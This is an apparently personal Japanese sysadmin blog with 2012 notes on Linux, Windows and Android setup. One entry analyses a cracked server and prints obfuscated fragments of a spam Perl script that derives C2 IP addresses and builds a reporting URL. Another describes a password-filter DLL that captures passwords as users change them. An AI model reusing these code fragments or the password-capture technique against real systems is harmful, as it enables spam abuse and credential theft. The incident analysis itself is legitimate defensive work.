2012年12月28日金曜日

Fedora 17 インストール GPT で躓いてます。

Fedora 17 を x121e に入れようとして、sda1 が GPT でない
とかでパーティションが切れない。

最近(というか昔からか)ハードウェアに疎く、UEFI とか GPT
とかさっぱりで…

で、どうしても gpt でやりたかったのだけど、デフォルトの
状態のディスクは msdos ラベルというやつらしく、これを
gpt にしなくちゃならんということだ。

anaconda の裏で parted で  mklabel gpt して成功。

parted + gpt は以下が詳しかったのでメモっておく。
http://plaza.rakuten.co.jp/bluearth/diary/201001170000/

2012年12月14日金曜日

System.DirectoryServices.AccountManagement で AD から任意の属性取得

.Net  3.5 から AD の操作をするには System.DirectoryServices.AccountManagement を使う
のが推奨のようだが、UserPrincipal クラスで取得できる属性が限られている。
しかも sAMAccountName が SamAccountName というプロパティ名だったりして使いづらい。

いろいろ調べたら以下の URL に拡張の仕方が書いてあった。

プリンシパルの拡張
http://msdn.microsoft.com/ja-jp/library/bb384372%28v=vs.90%29.aspx

まず、以下のような UserPrincipal クラスのサブクラス(ここでは UserPrincipalExt)を作成。
getValueByAttributeName() つー独自のメソッドを実装し、FindByIdentity() を override してる。

    [DirectoryObjectClass("user")]
    class UserPrincipalExt : UserPrincipal
    {
        public UserPrincipalExt(PrincipalContext context)
            :base(context){}


        public object[] getValueByAttributeName(String attrName)
        {
            return  ExtensionGet(attrName);
        }


        public static new UserPrincipalExt FindByIdentity(
            PrincipalContext context,
            IdentityType identityType,
            string identityValue)
        {
            return (UserPrincipalExt)FindByIdentityWithType(
                context,
                typeof(UserPrincipalExt),
                identityType,
                identityValue);
        }
    }


 

んで、以下みたいに呼び出し。  以下はwWWHomePage を取得しているが
"sAMAccountName" 等の標準の属性も LDAP の名前のまま取得できる模様。

  PrincipalContext ctxt = new PrincipalContext(
      ContextType.Domain, "mydomain", "binduser", "bindpasswd");
  UserPrincipalExt target = UserPrincipalExt.FindByIdentity(
      ctxt, IdentityType.SamAccountName, "myusername");
  object[] res = target.getValueByAttributeName("wWWHomePage");

2012年12月8日土曜日

GetPrivateProfileString() と BOM

VS2010でテキストファイルを新規作成するとデフォルト?で UTF-8 になるぽい。
まぁこれが困るなら自分で文字コードを指定すればいいんだけど、
うっかり何も考えず VS2010 で ini ファイルを作り、それを GetPrivateProfileString()
で読み込もうとしたら全然読めない。

どうも BOM が邪魔してるらしく、素直に US-ASCII に変更したら OK になった。

# Windows はデフォルトが UTF16 なのか UTF8 なのかはっきりして欲しいっす。
# あと UTF-8 で BOM つけるのも何とかしてほしい。

2012年12月6日木曜日

EventLog の InstanceId とかイベントIDとか

Windows の EventLog でイベントIDをエラーコードのようにして
メッセージは別ファイルで管理とかしてみたく調べたら、まぁいろいろ
Web に情報はあり、mc.exe と rc.exe を使えば人間が書いた定義を 
コンパイルしてくれることはわかった。

しかしながら、.Net の EventLog.WriteEvent() の引数である
EventInstance クラスに指定する instanceId 所謂イベントID
mc ファイルに書く MessageId は全部イコールかと思ったら違っ
てた。おそらくイベントID と MessageId は同じ。

じゃ instanceId はなんだろうと思うと、mc.exe でできたヘッダ
ファイルに親切なコメントがあった。 以下の通り
結局 instanceId の下位 16bit がイベントIDということ。

以下の「R」は予約されていてよくわからんが常に 0 の模様。
「C」は customer bit というものらしいがようわからん。
MS が作ったもの以外はビット立てろということ?まぁ、mc.exe の -c 
でこのビットを立てれられるらしいが…よくわからん。


//  Values are 32 bit values laid out as follows:
//
//   3 3 2 2 2 2 2 2 2 2 2 2 1 1 1 1 1 1 1 1 1 1
//   1 0 9 8 7 6 5 4 3 2 1 0 9 8 7 6 5 4 3 2 1 0 9 8 7 6 5 4 3 2 1 0
//  +---+-+-+-----------------------+-------------------------------+
//  |Sev|C|R|     Facility          |               Code            |
//  +---+-+-+-----------------------+-------------------------------+
//
//  where
//
//      Sev - is the severity code
//
//          00 - Success
//          01 - Informational
//          10 - Warning
//          11 - Error
//
//      C - is the Customer code flag
//
//      R - is a reserved bit
//
//      Facility - is the facility code
//
//      Code - is the facility's status code

2012年11月29日木曜日

Windows ctrl-alt-del のパスワードフック

以下の情報を参考に、Windows でユーザがパスワード変更した際の
流れをフックして入力パスワードを取得し、それをとあるクラウドサー
ビスにプッシュするような dll を作っている。

Installing and Registering a Password Filter DLL (Windows)
http://msdn.microsoft.com/en-us/library/windows/desktop/ms721766%28v=vs.85%29.aspx

まぁ書いてあるとおりに作ればできるのだが一つハマったこと。

環境が Windows 2008 Server R2 で 64bit なんだけど、どうも Wow64
じゃダメみたいで、ちゃんと x64 でコンパイルする必要があった。

# x64 だと size_t が 64bit なので Warning が結構出たので、
# オーバフローしないように書き換えるのがメンドイ…

2012年11月26日月曜日

win32 dll プログラミング中

Error:PCH 警告: ヘッダーの停止はマクロまたは #if ブロックには配置できません。Intellisense PCH ファイルは生成されませんでした。

↑意味わからん

precompiled header のエラーだそうで、#include "stdafx.h"すべきだと。

2012年11月20日火曜日

.NET 4 て

あぁ、.NET とかやってる自分が悲しい。
VS2010 で x64 なアプリ(Windows の世界じゃ x86_64 てあまり言わんの?)
を作る必要があり、どうも解せなかったのがプロジェクトプロパティの「参照」
のところの .NET 関連の dll のパス。

ProgramFiles(x86)\Reference Assemblies

にある dll を参照してるんだけど、ちゃんと x64 なバイナリをコンパイルでき
ている模様。.NET4 って x86 と x64 共有なの?

2012年11月7日水曜日

gitoliteメモ

  • サーバ

    # su - gitolito
    $ gl-setup 管理者用ssh公開鍵
  • クライアント

    • 確認
      $ git clone ssh://gitolite@gitserver.example.com/testing
    • ユーザの追加等
      gitlite-admin リポジトリを clone
      $ git clone ssh://gitolite@gitserver.example.com/gitolite-admin

      conf/ 下を編集したり keydir/ 下に公開鍵を追加したりして commit 後 push
    • .ssh/id_rsa または .ssh/config に指定した秘密鍵以外の秘密鍵でアクセスしたいとき。

      GIT_SSH に "ssh -i .ssh/id_rsa_2 などとすれば良いと思ったがこれだとダメ。
      man git には以下のようにある。

         GIT_SSH
                    :
          To pass options to the program that you want to list in GIT_SSH you will need to wrap
          the program and options into a shell script, then set GIT_SSH to refer to the shell
          script.

      パスの通っているところに以下のようなスクリプトを作る(私の場合は
      ~/bin/ssh-git-2) 。

          #!/bin/sh
          ssh -i /home/ryo/.ssh/id_rsa_nu  ${@+"$@"}

      んで GIT_SSH=~/bin/ssh-git-2; export GIT_SSH 


    あと、git push すると warning: push.default is unset; とかの
    エラーがガーっと出るんだけど、ようわからんが以下で解決。

    git config --global push.default simple


gpgkey2ssh

gpg のキーで ssh したかったので調べたら、gpgkey2ssh なんつー
コマンドを発見。しかし以下のエラー

gpgkey2ssh xxxxxxxx
sh: gpg: command not found
gpgkey2ssh: gpgkey2ssh.c:278: main: Assertion `(algorithm_id == 1) || (algorithm_id == 17)' failed.
Aborted (core dumped)

gpg2 コマンドに対応していないぽい。redhat の bugzilla を見ると
FC13 の頃からの不具合で未だに直ってないみたい。

仕方なくパスの通るところに ln -s /usr/bin/gpg2 gpg したらできた。

2012年10月31日水曜日

Searching for Suckit rootkit... Warning: /sbin/init INFECTED

Fedora 17 で chkrootkit して死ぬほど焦りました…

https://bugzilla.redhat.com/show_bug.cgi?id=636231
https://bugzilla.redhat.com/show_bug.cgi?id=859574

どうも chkrootkit のスクリプトの以下でひっかかってる。

    982       if [ "${QUIET}" != "t" ];then printn "Searching for Suckit rootkit... "; fi
    983       if [ ${SYSTEM} != "HP-UX" ] && ( ${strings} ${ROOTDIR}sbin/init | ${egrep} HOME  || \
    984               cat ${ROOTDIR}/proc/1/maps | ${egrep} "init." ) >/dev/null 2>&1
    985         then

strings /sbin/init から HOME という文字列を egrep してるが、
Fedora 17 の /sbin/init -> /lib/systemd/systemd はこれにひっ
かかる。

 # strings /lib/systemd/systemd | grep HOME
 HOME=%s
 XDG_CONFIG_HOME
 XDG_DATA_HOME

ただ、まだ不安だったので一応 systemd の rpm をとって
きて中身のバイナリの md5 と比較してみることにした。

 35dc67a4f118ee8d9b4fa963702d0c60  /usr/lib/systemd/systemd
 4d2c1206c59d937eef30e139388368d6  /var/tmp/hoge/usr/lib/systemd/systemd

えぇぇ??違うじゃん!

社内の Fedora に詳しい方に聞いたりして、prelink かもという
ことで調べたところ、どうもこのせいだった。

以下詳しい(って、、、この資料は、那賀さん...)

 http://sios-oss.blogspot.jp/2011/12/prelink-rpm-v.html

prelink 前の md5 は以下でわかり一致。

 prelink --verify --md5 /usr/lib/systemd/systemd
 4d2c1206c59d937eef30e139388368d6  /usr/lib/systemd/systemd
 
ふぅ、自分のダメさに鬱。新しい技術に追いつかんといかん。 
 
 




2012年10月25日木曜日

openproj で今更ローカライズ

いーかげんどうしても M糞 Project を使いたくなかったので、openproj なる
OSS のプロジェクト管理ツールを使うことにして emerge した。
Java なのがアレだが…

LC_ALL が ja_JP.utf8 なのだが上部ツールバーは素直に日本語化された。

# sazanami フォントを入れる必要があった。
# icedtea には fontconfig.Gentoo.properties なんつーのが用意されている。
# 助かるなぁ。今使ってるのが Slackware じゃなくてよかった。

が、どうもスケジュール表部分上部の日付が「d m y」のフォーマットなので
見づらい。これだとプロジェクタで会社の上の方々に見せた時になんだかわか
らんコールがあると思われるので何とかせねば。こういうつまらんことにうる
さい人いるし。

Web で調べると、どうも上部ツールバーだけでなくメッセージやら何やらも
日本語化されている模様。本家には取り入られていないようだが、Web にその
ファイルがあったので以下からゲット。

https://github.com/alminium/angelfalls/raw/master/core/src/main/resources/com/projity/strings/client_ja.properties

んで、これを openproj.jar に取り入れなくちゃならん。なんで Java はこういう
設定系のファイルを平気で中に入れちゃうんだよ。。。 とりあえず jar コマンド
で展開して上記 URL のファイルを com/projity/strings/ に配置。再び jar コマ
ンドでアーカイブするも、MANIFEST ファイルの指定を忘れて数分悩む。

jar コマンドで固めるときは MANIFEST ファイルの指定を忘れないように! > 自分

あぁ Java メンドクセ

これでスケジュール表部分上部の日付も日本向けフォーマットになるかと思い
きやまだ「d m y」のまま。

仕方なく yy とかで grep したりしたら、com/projity/configuration/configuration.xml
ツーファイルにそれらしき定義があった。テキトーに当たりをつけて、以下の
ように修正してまた jar で固めたら出来たー。

 --- openproj.orig/com/projity/configuration/configuration.xml   2008-10-01 11:10:30.000000000 +0900
 +++ openproj/com/projity/configuration/configuration.xml        2012-10-25 18:13:17.000000000 +0900
 @@ -768,7 +768,8 @@
                         pattern2="E d MMM" />
                 <timescale calendarField1="7" number1="1" pattern1="E"
                         trunc1="1" upperCase1="true" normalMinWidth="15" tableMinWidth="51"
 -                       calendarField2="3" number2="1" pattern2="d MMM yy" />
 +                       calendarField2="3" number2="1" pattern2="yyyy/MMM/d" />
 +<!--                   calendarField2="3" number2="1" pattern2="d MMM yy" /> -->
                 <timescale calendarField1="5" number1="3" pattern1="dd"
                         normalMinWidth="30" tableMinWidth="51" calendarField2="2" number2="1"
                         pattern2="MMM y" />






2012年10月22日月曜日

dmg ファイルをマウント.

単なるメモ。

そのままマウントできない。dmg2img した後 hfsplus でマウント。

何をやりたかったかというと Richo プリンタの PPD 取得。
Richo プリンタの Mac 用のドライバは richo のサイトで dmg ファイルで
公開されていて、ここから PPD を取り出したい。

hfsplus でマウントした後、PPD_Installer_RICOH.mpkg/Contents/Sub/
下にあるお目当てのプリンタのディレクトリから .pax.gz なファイルを
見つけ出す。これを解凍すると cpio のイメージになるのでこの中に PPD あり。

2012年10月18日木曜日

pgp keyserver

単なるコマンドメモ。

pg keyserver から公開鍵ゲット

gpg --keyserver pgp.nic.ad.jp --recv-keys XXXXXXXX


Proxy がある場合以下を指定 ↓
  --keyserver-options http-proxy=http://localhost:3128

2012年10月4日木曜日

xmlのコメント文を取り除きたい

標題の件、xmllint でできない。--nocomment とかあるかと思ったが無い。

xmlstarletなんていう便利なものがあると知り、早速 emerge xmlstarlet。
xml コマンドに --with-comments なんてのがあった。

  xml c14n --without-comments

でイケた。

2012年9月23日日曜日

X forward した emacs が文字化け。なんかフォントが足りんらしい。

Warning: Cannot convert string "-*-courier-medium-r-*-*-*-120-*-*-*-*-iso8859-*

以下で解決。こんな基本的なフォントが入ってない環境て…
emerge font-adobe-75dpi

2012年9月6日木曜日

connect-msolservice で「資格情報を認証できません。」

標題のエラーが出た。嫌々 o365 の仕事をやってるのでバチがあたったのだろうか。
いろいろ調べたら、IE の設定に記している proxy サーバが落ちていた。

msonline モジュールって IE の設定見てるんですね…

2012年8月29日水曜日

cracking

知人のサーバがクラックされた。ssh brute force による一般ユーザへの
ログインぽいのだが、/var/log/secure の記録だと一発でログインされて
いる風(失敗の記録がない...)。

root とられてる? 一応 chkrootkit したが結果としては問題なし。
で、何をやられていたかというと、SPAM メールの大量送信。perl スクリ
プトを送り込まれ、おそらく ssh から直接実行されている(wtmp にはロ
グイン記録が残っていないのでそう判断)。以下のような感じ。

 501      20783  0.0  0.2  13056  8440 ?        S    Aug21   3:13 perl
 501      19193  0.0  0.0   8148  2976 ?        S    09:35   0:00  \_ /usr/sbin/sendmail -t

スクリプトは何処? lsof すると以下の出力あり。/tmp/ の下に置いたが
unlink してる模様。

 perl      20783 user    0r      CHR        1,3                2395 /dev/null
 perl      20783 user    1w      CHR        1,3                2395 /dev/null
 perl      20783 user   2w      CHR        1,3                2395 /dev/null
 perl      20783 user   3r      REG      253,0    10801     666887 /tmp/  (deleted)
 perl      20783 user    4wW     REG      253,0        0     666888 /tmp/...

なので /proc/20783/fd/3 からスクリプトゲット。ここに晒していいのか
な?問題になったら嫌なのでやめておく。改行入れてインデント揃えて解析
してみる。今時間が無いのでざっとだが、結構難解で、どこかに wget で
https 接続して送信リストみたいのを取得しているようなのだが、これがど
こからなのか解析すると固定文字でなくいろいろ計算してる。解析の結果お
そらく以下の IPアドレス。

77.67.80.31
85.214.80.4

ちなみにスクリプトの以下の部分

  my $p="1234567890";
       : (snip)
  if($fjaj==4){
      my @p=split '',$p;
      my $i721=$p[6];
      $i721="$i721$i721.6$i721.";
      $i721 .=$p[7].$p[9];
      $i721 .='.'.$p[2].$p[0];
      return($i721, $bk10) if(aae($i721, $bk10));
  }if($fjaj==5){my @p=split '',$p;
      my $i721=$p[7].$p[4];
      $i721 .='.'.$p[1].$p[0].$p[3];
      $i721 .='.'.$p[7].$p[9];
      $i721 .='.'.$p[3];
      return($i721, $bk10) if(aae($i721, $bk10));
 }

ポート番号も何か計算している、その先のリクエストは以下で
求めているようだが、各変数については時間が無いので後で調
べてみることにする。

     my $b4ah="https://$jf8a:$bk10/$k7b2?id=$k14n";
     $b4ah .="&sent=$jdga";
     $b4ah .="&notsent=$jkjp";
     $b4ah .="&unknown=".CGI::escape($cbmm) if($cbmm);
     $b4ah .="&testsend=1" if($iod9);
     $b4ah .="&stat=".ab5($jf8a, $j505);
     @c404=ab8($b4ah);

2012年7月26日木曜日

emacs で置換先に改行



M-x replace-string (RET) 置換対象文字列 (RET) 置換文字列 C-q C-j (RET)

以下参照。ありがとうございました。
http://d.hatena.ne.jp/n9d/20080215/1203043005

2012年7月4日水曜日

tail

Windows には tail も無い。いちいちアプリをインストール。アホくさ。

2012年6月25日月曜日

Windows開発かなり嫌になってきた

VS2010 VB で単体テストするのに VS の機能のテストプロジェクト
を使ってるんだけど、どうもテストプロジェクトからの実行が 32 bit
になってしまう。おかげで VB から呼んでいる PS が 32bit になって
しまう。

一日ハマった。結局「Solution Items」→ Local.testsettings →
「ホスト」→「32ビットプロセスまたは64ビットプロセスでテストを
実行」というところで 64ビットを選んだら直った。

やっぱこういう IDE に慣れていないのがいけないのかなぁ。。。
ほんと嫌な時代になったもんだよ。

2012年6月24日日曜日

ビビった

今日DBスペシャリストの合格証書が送られてきた。 忘れてたのでまじでビビった。

2012年6月18日月曜日

MSMQのエラー

すっかり Win プログラマに成り下がった今日このごろですが、MSMQ をいじっていたら
(Windows に MQ があるとは今の今まで知らんかった)、receive() で以下のエラーに遭遇。


  ターゲットの型配列が見つかりません。XML でフォーマットされたメッセージを逆シリアル化するためには、ターゲット型配列を設定しなければなりません。

Web には全然情報なし。 英語(English translation: Target type array is missing. The target
type array must be set in order to deserialize the XML-formatted message.)でググっても
有用な情報なし。# 絶対ビングらない。

当該の MessageQueue の Format プロパティに new した XMLMessageFormatter() を指定
する際、いくつかコンストラクタの overload があって、引数が targetTypeNames() as String
というのがあった。

この引数に {"System.String"}などという文字列配列を指定したらエラーがでなくなり、正常に
receive できるようになった。

ふぅ…

2012年6月15日金曜日

ldapmodify のエラー

ldap_modify: Other (e.g., implementation specific) error (80)

ldapのデータディレクトリ内に ldap.ldap でないファイルが存在していた

2012年6月13日水曜日

slapdが

gentoo で openldap 入れたのに slapd が無い。

package.use に以下追加で回避。

    net-nds/openldap -minimal

2012年6月12日火曜日

windowsのファイルコピペとか移動って

WindowsでフォルダやファイルをGUI でコピペや移動するときってオプション
指定できないんすかね?
シーンによって挙動が変わるみたいで耐えられん。正直 GUI イラネつーか
Windows イラネ。この世からなくなれ。

2012年4月30日月曜日

my gentoo に skype 入れようとしたら以下のエラー。

ryox61:/etc/portage$ sudo emerge skype

 * IMPORTANT: 7 news items need reading for repository 'gentoo'.
 * Use eselect news to read news items.

Calculating dependencies... done!
[ebuild     U  ] app-emulation/emul-linux-x86-baselibs-20120127 [20110928]
[ebuild  N     ] app-emulation/emul-linux-x86-db-20120127  USE="-development"
[ebuild     U  ] app-emulation/emul-linux-x86-xlibs-20120127 [20110928]
[ebuild     U  ] app-emulation/emul-linux-x86-opengl-20120127 [20110928]
[ebuild     U  ] app-emulation/emul-linux-x86-medialibs-20120127 [20110928]
[ebuild     U  ] app-emulation/emul-linux-x86-soundlibs-20120127 [20110928]
[ebuild     U  ] app-emulation/emul-linux-x86-sdl-20120127 [20110928]
[ebuild  N     ] app-emulation/emul-linux-x86-qtlibs-20120127  USE="-development"
[ebuild  N    ~] net-im/skype-2.2.0.35-r1  USE="-pax_kernel -qt-static"

!!! Multiple package instances within a single package slot have been pulled
!!! into the dependency graph, resulting in a slot conflict:

emul-linux-x86 関連を以下のように一つずつ update で回避。

for p in emul-linux-x86-{gtklibs,opengl,sdl,medialibs,soundlibs,xlibs,baselibs} ; do sudo emerge -u $p ; done
emerge skyepe

2012年4月28日土曜日

2012年4月19日木曜日

X60 に kernel 3.2.12 Atheros ドライバ



X60 の gentoo の kernel を 3.2.12 に上げたんだけど、ifconfig で
内蔵 Atheros 無線 LAN カードを on にしようとしたら以下のエラー。

SIOCSIFFLAGS: Operation not possible due to RF-kill

Web を調べる限りどうも rfkill というユーティリティでその有効無効を
設定できるよう。 emerge で rfkill 入れて rfkill list してみてみたら確
かに soft blocked というところが以下のように yes になってる

 0: phy0: Wireless LAN
     Soft blocked: yes
     Hard blocked: no

なので rfkill unblock 0 などとして off してみたところ上記の yes の
ところが no になった。これで行けるかと思い ifconfig wlan3 up してみ
たところ、また最初と同じエラー。はぁ?と思い rfkill list したのだが、
今度は下記のように Hard が yes。

 0: phy0: Wireless LAN
     Soft blocked: no
     Hard blocked: yes

えぇぇ〜。rmmod で ath5k を外して modprobe しなおしたりいろいろやった
がどうも ifconfig で interface を up にすると Hard blocked yes
になってしまう。

modinfo 見ても rfkill 関連のオプションなし。結局 ath5k のソースを見た
ところ、問答無用に rfkill を有効にしていて off る方法はなさげ。

が、以下のパッチ発見。

http://answerpot.com/showthread.php?3197032-ath5k%3A+Add+a+module+parameter+to+disable+hw+rf+kill+switch

単純にパラメータ増やして rfkill のところを無効にしている。ただ、このま
まじゃあたらないので手パッチした。手パッチしたのを diff 取ったので一応
以下にアップしておく。これでうまくいけばいいんだけど…

 http://www.fastriver.net/~ryo/mycontents/ath5k/base.c-3.2.12-gentoo.patch

あ、コンパイル終わったかな。以下の内容で /etc/modprobe.d/ath5k.conf
を作成して modprobe ath5k

options ath5k no_hw_rfkill_switch=1

どうも最初に rfkill unblock 0 しなくちゃならんのは変わらないが、その後
ifconfig wlan3 up できた! ad-hoc も OK だし。よかった!

2012年4月18日水曜日

単なる自分のためのメモ

本日 emerge -p -u world したら以下とほぼ同じ現象発生。

https://forums-web1.gentoo.org/viewtopic-t-915134-start-0.html


sys-apps/util-linux-2.20.1-r1 sys-apps/sysvinit-2.88-r3がどーたら
こーたらでブロック。細かいことはあとで調べようと、とりあえずす
ぐにやっちゃいたかったので、上記 URL にあるように emerge に
--deep を付与することにした。


関門は通過したが、その後また以下と同じ現象発生。

http://forums.gentoo.org/viewtopic-t-914400-start-0.html


こんどは talloc がどーたらこーたらでブロック。上記 URL によれば、
一旦 talloc を削除して oneshot で入れなおせと(emerge -C してから
emerge -1)。


その後 worldしたところできた。

2012年4月16日月曜日

emulator から proxy 経由で android.webkit.WebView

emulator 経由で WebView が proxy を使うようにしたかった。
以下を発見したのでメモ。

android WebView internet access problem, because of proxy?

http://stackoverflow.com/questions/6673159/android-webview-internet-access-problem-because-of-proxy

onCreate() に以下記述
  WebView.enablePlatformNotifications();

AndroidManifest.xml に以下追加
  <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"></uses-permission>
  <uses-permission android:name="android.permission.INTERNET"></uses-permission>

2012年4月10日火曜日

modifyTimestamp の書式

LDAP の modifyTimestamp の書式がどうなってるのかとRFC2252をチェック。

 5.1.2. modifyTimestamp

   This attribute SHOULD appear in entries which have been modified
   using the Modify operation.

    ( 2.5.18.2 NAME 'modifyTimestamp' EQUALITY generalizedTimeMatch
      ORDERING generalizedTimeOrderingMatch
      SYNTAX 1.3.6.1.4.1.1466.115.121.1.24
      SINGLE-VALUE NO-USER-MODIFICATION USAGE directoryOperation )
 
ということで 「1.3.6.1.4.1.1466.115.121.1.24」だそうで、これは
「Generalized Time syntax」だそうで。

これをぐぐると、IBM や MS のページくらいしか無いのだが、以下の記述があり。 
 
 
http://publib.boulder.ibm.com/infocenter/iseries/v5r3/topic/rzahy/rzahyutctime.htm
Generalized Time 構文は次の形式を取ります。

YYYYMMDDHHMMSS[.|,fraction][(+|-HHMM)|Z]
年に 4 桁、月、日、時、分、および秒それぞれに 2 
桁、および秒のオプションの小数部があります。これ以上追加しない場合には、日時はローカル時間帯という前提になります。時刻を協定世界時で測ることを示
すために、時刻または地方時の時差に大文字の Z を追加してください。
たとえば、次のようになります。

"19991106210627.3"
これは地方時では、1999 年 11 月 6 日、午後 9 時 6 分 27.3 秒です。
          

"19991106210627.3Z"
これは協定世界時です。
          

"19991106210627.3-0500"
これは最初の例と同じ地方時で、協定世界時と比較すると 5 時間の差があります。

秒のオプションの小数部を指定する場合は、ピリオドまたはコンマが必要です。地方時の時差では、「+」または「-」を時間と分の値の前に入れる必要があります。

2012年4月6日金曜日

?! って正規表現を知らんかった。

<LocationMatch  "^/(?!error.html)">

で error.html 以外。この ?! という正規表現を知らなかった。

https://issues.apache.org/bugzilla/show_bug.cgi?id=10932

2012年3月2日金曜日

adb devices で no permissions のエラー

手元の ICONIA を gentoo から adb で操作しようと、以下実行
してみたところ、なんだか ? がいっぱいの no permissions だそ
うで。

 $ adb devices
 List of devices attached
 ????????????    no permissions

adb のサーバを無理くり root で実行するのもアリかもしれないが、
やっぱり自分のユーザでやりたいのでちゃんと設定しておく。
  1. /etc/udev/rules.d/51-android.rules を以下の URL の
    Setting  up a Device for Development」を参考に作成。

    http://developer.android.com/guide/developing/device.html

    内容は dmesg で表示された idVender を設定する必要がある。
    ICONIA (Acer) は 0502 なので以下のようにする。

     SUBSYSTEM=="usb", ATTR{idVendor}=="0502", MODE="0666", GROUP="plugdev"
  2. 一応 udevd のリスタート

    $ sudo /etc/init.d/udev restart
  3.  で、adb のサーバリスタート

    $ adb kill-server
    $ adb start-server
  4.  そしたら adb devices がエラーにならないはず。

pk12util

pk12util は firefox の証明書ストア{に,から}コマンドで PKCS#12 を import, export
できるらしい。
gentoo の場合、package.use に以下追加で emerge すると入ってきた。

dev-libs/nss utils

2012年2月29日水曜日

ネットワーク経由で adb

Android 端末にネットワーク経由で adb するには以下の設定を root でする必要あり。

setprop service.adb.tcp.port 5555
stop adbd
start adbd

で停止は以下のようにポート番号に -1 を付与。

setprop service.adb.tcp.port -1
stop adbd
start adbd

一応 netstat で確認するとちゃんと 5555 の LISTEN が無くなってる。
これ、うっかり停止し忘れたら恐ろしいことになるな...
気休めだけど一応 5555 はやめておこう。

2012年2月21日火曜日

iPhone 3GS ios4.3.3 で mobileterminal

手元の iPhone 3GS ios4.3.3 は JB 済みではあるが、OpenSSH は入れていない。
なので大丈夫だろうと最近まで root と mobile のパスワードを alpine のまま
放置していた。

しかし、やっぱり不安なので変えることにした。passwd コマンドを実行すべく
cydia から mobileterminal を入れたのだが起動してもすぐ終わってしまう。
どうやら cydia にある mobileterminal は ios4 では動かないらしい。

じゃぁどうするか。sshd を動かしてリモートからログインすれば良いのだろうが
どうしても OpenSSH は入れたくない。

もともと FreeBSD な Mac なので /etc/passwd もとい /etc/master.passwd
を直接いじれば良いんじゃないかと思い、ifuse --root で rootfs ごと mount して
/etc/master.passwd を見ると、ありました。mobile と root のパスワードの
ハッシュが同じで以下のようになってた。

                        : (snip)
  root:/smx7MYTQIi2M:0:0::0:0:System Administrator:/var/root:/bin/sh
  mobile:/smx7MYTQIi2M:501:501::0:0:Mobile User:/var/mobile:/bin/sh
                        : (snip)

/s の salt の crypt ということで、openssl passwd -crypt -salt /s hoge で求
めた値を直接設定しちゃえと思たのだが、、、

ここでふと昔のことを思い出した。お客さんのところの Mac OS X の /etc/resolv.conf
を直接いじったのは良いが、なんだか名前解決できない場合があった。
で、結局 GUI から DNS サーバを変更して解決したことがあった。
→Mac OS でファイルの直接編集はヤバい?

なのでここはぐっと我慢して、いろいろ調べたところ、mobileterminalのβ版
が ios4 でも動くらしいという情報が Web にあった。

Installation - mobileterminal
http://code.google.com/p/mobileterminal/wiki/Installation

上記 URL には手動でインストールする方法も書いてある。Mac と Win だけだが。
しかし Mac の項を読むと、どうやら iphone の特定の場所に deb パッケージを
コピーして再起動しているだけっぽい。
# Cyberduck だの iFunbox だの Win や Mac の人は大変なんやね…(他人事)


まずは mobileterminal の 520_1 というバージョンを落とした。

 $ cd /var/tmp
 $ wget http://mobileterminal.googlecode.com/files/MobileTerminal_520-1_iphoneos-arm.deb
 $ sha1sum  MobileTerminal_520-1_iphoneos-arm.deb
 84410af6febf2065a2a7fabea49cd5b9f34575f9  MobileTerminal_520-1_iphoneos-arm.deb

んで、ifuse で --root マウント。

 $ ifuse --root /media/iphone

上記ドキュメントを読むと、/var/root/Media/Cydia/AutoInstall/ に deb を
コピーすればいいらしいが、このディレクトリが無い場合は作れと。

 $ mkdir /media/iphone/private/var/root/Media/Cydia/AutoInstall

で、コピー。

 $ cp /var/tmp/MobileTerminal_520-1_iphoneos-arm.deb /media/iphone/private/var/root/Media/Cydia/AutoInstall/

そしたら iphone を再起動。正常起動するかどうかちょっとドキドキした。
再起動後 mobileterminal のアイコンが画面にあった。
ちなみに /var/root/Media/Cydia/AutoInstall/ の下においた deb は無くなっ
てた。

あとは普通に passwd コマンドで mobile と root のパスワードを変えた。
あれ? mobileterminal ってどうやって終わらせるの? exit しても残ってる。
Web 調べるとタップホールドでメニューが出るらしいが、このバージョンは
駄目みたい。仕方ないのでホームボタンダブルクリックからプロセスブチ切り。

再起動後手元の Linux から find -mtime -10 とかして /etc やら /var の
下で変更されているファイルを調べてみたが、関連してそうなファイルは
/etc/master.passwd, /etc/passwd くらいしかなかったので、おそらく直接
編集しても良かったのかもしれないが…

まぁこれで一安心ということで。



2012年2月9日木曜日

no applicable action for [ImmediateFlush]

Shibboleth を 2.1 系から 2.3 系にアップデートしたら
なんだか以下のようなメッセージが catalina.out にぞろぞろと。

 INFO in ch.qos.logback.classic.LoggerContext[default] - Could NOT find resource [logback.groovy]
 INFO in ch.qos.logback.classic.LoggerContext[default] - Could NOT find resource [logback-test.xml]
   :
 ERROR in ch.qos.logback.core.joran.spi.Interpreter - no applicable action for [ImmediateFlush], current pattern is [[configuration][appender][ImmediateFlush]]
   :

いろいろ悩んだが、logging.xml が古いバージョンのデフォルト
のままだった。新しいバージョンの shibboleth に付随している
logging.xml に入れ替えてOK。

2012年1月25日水曜日

gentoo に ICONIA A500 をマウント

我が ICONIA A500 ですが、どうも最近カーナビの役割しかしてない…
ICONIA で音楽聞きたくなったので、手元の音楽 CD を mp3 にして
これを Music フォルダに転送しようと画策。

# ちなみに CD -> mp3 は cdda2wav で wav にしてそれを lame で
# mp3 に。proxy じゃないと外に出られない環境だったので cddb
# の取得に苦労した... 結局 freedb.freedb.org:8880 をローカル
# ポートフォワードしちまった。

ICONIA を USB デバイスとして、我が X60 の Gentoo に接続して
まぁ usb-storage でフツーに見えるだろうと思い高を括っていた
ら、dmesg に出ない!

ちょっと調べたところ、どうも usb-storage でなく MTP でお話し
してるらしい。以下にやり方がまるまる載っとる。ubuntu だけど。

 Connecting via USB to Linux (Ubuntu)

というわけで上記 URL をまるまる参考にして mtpfs を入れること
にした。fuse でこんなのあったのね。知らんかったよ。


# 全然関係ないけど、もしかして我が家の Canon HF11 ももしかし
# て MTP?


 emerge mtpfs

  (mask されてるので、事前に package.keywords に要追加)

んで、lsusb で VendorID を確認。以下の出力ありで 502。

 Bus 001 Device 008: ID 0502:3325 Acer, Inc.

そしたら、/etc/udev/rules.d/51-android.rules を新規作成して
以下の行を追加。

  SUBSYSTEM=="usb", ATTR{idVendor}=="0502", MODE="0666"
で、マウントポイントの作成。
  mkdir /media/a500
でマウント。 
  mount -t fuse mtpfs /media/a500/
意外とあっさり出来た。 
# mtpfs がなんだか tmpfs に見える。 
 


 
 



# ちなみに初 CD は Retunr of The Headhunters でした。古!

abcde

これ知らんかった。Bourne Shellっつーのがアレだけど便利かも。

A Better CD Encoder
http://lly.org/~rcw/abcde/page/

と思ったらかなり古く本家は全然メンテされてないのね…
debian で地道にメンテされてるのか?以下が最新ぽい

